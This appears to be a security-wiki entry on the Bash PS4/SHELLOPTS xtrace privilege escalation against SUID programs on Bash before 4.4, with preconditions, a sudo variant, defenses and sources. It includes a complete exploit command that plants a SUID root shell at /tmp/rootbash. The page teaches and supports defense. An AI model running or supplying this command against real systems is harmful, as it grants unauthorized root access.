Bash PS4 xtrace Prompt Exploit
Bash’s execution-trace mode (set -x / SHELLOPTS=xtrace) prints each command before running it, prefixed by the PS4 prompt variable. PS4 is expanded like a prompt string — including command substitution — and in Bash versions before 4.4, a SUID/SGID program that invokes a shell helper evaluates that expansion with the elevated effective UID. That turns the debug prompt into a code-execution primitive inside a privileged process.
The exploit
env -i \
SHELLOPTS=xtrace \
PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' \
/path/to/suid/executableAnatomy:
env -istarts with a clean environment so only the two attacker-controlled variables are present.SHELLOPTS=xtraceforces trace mode in every Bash the target spawns.SHELLOPTSis honored from the environment on startup.PS4='$(...)'— the payload. When the traced shell prints its first command, it expands PS4, runs the command substitution as the SUID program’s euid, and produces a root-owned SUID bash at/tmp/rootbash.- Run
/tmp/rootbash -pfor the root shell (-pprevents bash from dropping the effective UID — see suid-shell-executable).
Preconditions and scope
- Bash < 4.4 only. The fix makes SUID/SGID shells sanitize PS4 (along with the other prompt variables) before expansion.
- The SUID program must invoke a shell (via
system(),popen(), or an exec of a script) — a statically-linked or pure-binary SUID target offers no shell to inject into. - The same expansion-in-privileged-context logic applied to
SHELLOPTS+PS4through sudo’s environment handling in historical sudo versions (e.g. sudo 1.6.8p9-era), where an env-preserved SHELLOPTS/PS4 pair escalated through any permitted Bash-invoking command.
Defenses
- Patch Bash; modern distributions shipped the sanitization years ago.
- SUID programs should never route through a shell — use absolute paths and
exec*directly (the same lesson as suid-shell-executable). - The sibling technique — exporting a function named like an absolute path — is covered in bash-exported-function-backdoor and shares the “don’t let privileged programs trust the shell environment” root cause.
Sources
- bash(1) — Linux manual page
- 2022 — Abusing Shell Feature for Privilege Escalation
- 2005 — Sudo 1.6.8p9 Privilege Escalation via SHELLOPTS and PS4 Environment Variables
Related: bash-exported-function-backdoor, suid-shell-executable, ld-preload-trick, unix-permissions